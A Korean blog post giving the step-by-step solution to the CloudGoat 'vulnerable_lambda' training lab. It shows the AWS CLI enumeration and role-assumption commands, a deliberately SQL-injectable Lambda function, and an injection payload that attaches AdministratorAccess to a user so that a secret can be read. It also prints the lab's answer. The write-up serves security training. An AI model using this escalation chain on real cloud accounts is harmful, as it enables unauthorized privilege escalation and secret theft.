Security/Cloud

[CloudGoat] Scenario "vulnerable_lambda" - solution

Omoknooni 2024. 1. 20. 19:48

시나리오 개요

In this scenario, you start as the 'bilbo' user. You will assume a role with more privileges, discover a lambda function that applies policies to users, and exploit a vulnerability in the function to escalate the privileges of the bilbo user in order to search for secrets.

 

'bilbo' 유저로 시작해서 lambda 함수를 찾고, 그 함수의 취약점을 Exploit해 bilbo 유저의 권한을 상승시켜 최종적으로 Secrets를 탈취해라

 

시나리오 목표

Secret 값을 읽기 (cg-secret-XXXXXX-XXXXXX)

 

시나리오 세팅

./cloudgoat.py create vulnerable_lambda

 

solutions 디렉토리 내의 vulnerable_lambda 시나리오 제작 Terraform이 실행된다.

 

Terraform output으로 시나리오 시작에 대한 정보(bilbo user Credential)가 담긴 파일이 생성된다.

해당 파일의 Credential을 .aws/credentials에 Profile로 추가해준다.

 

Solution

1. 문제 생성과 동시에 같이 주어진 user 'bilbo'의 정보를 가져온다

aws sts get-caller-identity --profile test-bilbo

 

 

2. bilbo에 할당된 Policy의 목록을 확인한다.

aws iam list-user-policies --profile test-bilbo --user-name [bilbo user이름]

 

 

3. bilbo에 할당된 Policy 내용을 확인한다.

aws iam get-user-policy --profile test-bilbo --user-name [bilbo user이름] --policy-name [policy 이름]

 

 

Statement 내의 cg-lambda-invoker* role에 sts:AssumeRole이 주어진 것을 확인할 수 있다.

이제 이 이름과 관련된 Role을 탐색해본다.

 

4. cg-lambda-invoker*와 관련된 Role을 탐색

aws iam list-roles --profile test-bilbo | grep cg-lambda-invoker

 

 

5. 탐색한 Role의 Policy 목록 확인

aws iam list-role-policies --profile test-bilbo --role-name [role 이름]

 

이 Role에는 lambda-invoker라는 Policy 하나만 연결되어있는 것을 확인할 수 있다.

 

6. 탐색한 Role의 Policy 내용 확인

aws iam get-role-policy --profile test-bilbo --role-name [role 이름] --policy-name lambda-invoker

 

lambda-invoker Policy의 내용을 확인할 수 있다.

이 중 Lambda를 실행할 수 있는 lambda:InvokeFunction에 연결된 Lambda 함수를 확인할 수 있다.

이제 이 함수를 목표로 방향을 잡도록 하자

 

Policy 내용에 따르면 처음에 주어진 bilbo user로는 이 함수에 접근할 수 없다. cg-lambda-invoker role을 이용해야한다.

 

7. lambda-invoker role credential 획득

aws sts assume-role --role-arn [role의 ARN] --role-session-name [session 이름] --profile test-bilbo

 

 

획득한 Credential을 CLI에서 사용하기 위해 추가로 등록해준다.

 

 

8. Lambda 함수 목록 가져오기

aws lambda list-functions --profile session-by-bilbo --region us-east-1

 

아래와 같이 해당 리전의 Lambda함수들을 가져온 것을 확인할 수 있다.

{
    "Functions": [
        ...
        {
            "FunctionName": "vulnerable_lambda_cgid49ih30pyl6-policy_applier_lambda1",
            "FunctionArn": "arn:aws:lambda:us-east-1:538872363553:function:vulnerable_lambda_cgid49ih30pyl6-policy_applier_lambda1",
            "Runtime": "python3.9",
            "Role": "arn:aws:iam::538872363553:role/vulnerable_lambda_cgid49ih30pyl6-policy_applier_lambda1",
            "Handler": "main.handler",
            "CodeSize": 991559,
            "Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2024-01-20T08:05:11.648+0000",
            "CodeSha256": "U982lU6ztPq9QlRmDCwlMKzm4WuOfbpbCou1neEBHkQ=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "6f04ee13-a82d-4d60-9db1-17f348b4076f",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ],
            "EphemeralStorage": {
                "Size": 512
            },
            "SnapStart": {
                "ApplyOn": "None",
                "OptimizationStatus": "Off"
            },
            "LoggingConfig": {
                "LogFormat": "Text",
                "LogGroup": "/aws/lambda/vulnerable_lambda_cgid49ih30pyl6-policy_applier_lambda1"
            }
        },
	...
    ]
}

 

 

9. Lambda 함수 가져오기 

aws lambda get-function --profile session-by-bilbo --function-name [function 이름] --region us-east-1

 

get-function을 통해 해당 함수의 설정값을 포함한 Code가 포함된 저장소의 URL을 볼 수 있다.

이 URL을 통해 함수의 Code를 다운받는다.

 

10. Lambda 함수 Code 다운로드

wget "[s3 URL]"

 

 

다운받으면 파일명이 난잡한 것을 볼 수 있다. 다운받은 Lambda Code는 Zip으로 압축되어있다.

파일명을 변경해주고 압축을 풀도록한다.

mv [다운받은 파일명] vulnerable_lambda.zip

unzip vulnerable_lambda.zip -d ./function

 

 

 

11. 함수 분석

압축을 풀고 내부를 확인하면 main.py를 포함한 python 프로젝트인 것을 볼 수 있다.

## main.py
import boto3
from sqlite_utils import Database

db = Database("my_database.db")
iam_client = boto3.client('iam')


# db["policies"].insert_all([
#     {"policy_name": "AmazonSNSReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonRDSReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AWSLambda_ReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonS3ReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonGlacierReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonRoute53DomainsReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AdministratorAccess", "public": 'False'}
# ])


def handler(event, context):
    target_policys = event['policy_names']
    user_name = event['user_name']
    print(f"target policys are : {target_policys}")

    for policy in target_policys:
        statement_returns_valid_policy = False
        statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
        for row in db.query(statement):
            statement_returns_valid_policy = True
            print(f"applying {row['policy_name']} to {user_name}")
            response = iam_client.attach_user_policy(
                UserName=user_name,
                PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}"
            )
            print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))

        if not statement_returns_valid_policy:
            invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \
                                       f"policies and don't cheat. :) "
            print(invalid_policy_statement)
            return invalid_policy_statement

    return "All managed policies were applied as expected."


if __name__ == "__main__":
    payload = {
        "policy_names": [
            "AmazonSNSReadOnlyAccess",
            "AWSLambda_ReadOnlyAccess"
        ],
        "user_name": "cg-bilbo-user"
    }
    print(handler(payload, 'uselessinfo'))

 

 

대략적으로 내용을 확인해보면, 아래와 같다.

  • payload로 policy_name과 user_name을 넘겨준다.
  • DB statement를 통해 sqlite DB 파일에 있는 Policy name과 비교
  • Statement가 Valid하면 user에 Policy를 Attach해줌 (attach_user_policy)

파일에 주석으로 DB파일에 insert된 내용을 파악할 수 있다. 가장 눈에 띄는 AdministratorAccess에는 public이 False로 처리되어있다.

따라서 일반적인 함수 실행으로 AdministratorAccess를 넣어 Valid하게 처리할 수 없다.

 

SQL statement를 보면 사용자 입력값을 검증하는 등의 로직없이 그대로 payload로 넘어온 값 넣어주는 것을 볼 수 있다.

여기서 SQL injection을 사용해서 AdministratorAccess를 Valid하게 처리한다는 것을 확인하게 된다.

 

 

12. 함수 실행

이제 이 Lambda 함수를 실행시키기 위해 다음과 같이 payload를 정의해준다.

## payload.json

{
        "policy_names": ["AdministratorAccess' -- "],
        "user_name": "cg-bilbo-vulnerable_lambda_cgid49ih30pyl6"
}

 

 

아래 커맨드와 같이 Lambda 함수를 실행한다.

aws lambda invoke --profile session-by-bilbo --region us-east-1 --function-name vulnerable_lambda_cgid49ih30pyl6-policy_applier_lambda1 --cli-binary-format raw-in-base64-out --payload file://./payload.json out.txt

 

 

13. 설정한 bilbo에 policy가 attach되었는지 확인

aws iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgid49ih30pyl6 --profile test-bilbo

 

 

14. SecretsManager에 등록된 Secret 목록 확인

aws secretsmanager list-secrets --profile test-bilbo --region us-east-1

 

 

15. Secret 확인

aws secretsmanager get-secret-value --secret-id [Secret의 ARN] --profile test-bilbo --region us-east-1

 

정답은 "cg-secret-846237-284529"

 

시나리오 실습이 끝나면 시나리오 리소스를 모두 삭제하도록 한다.

./cloudgoat.py destroy vulnerable_lambda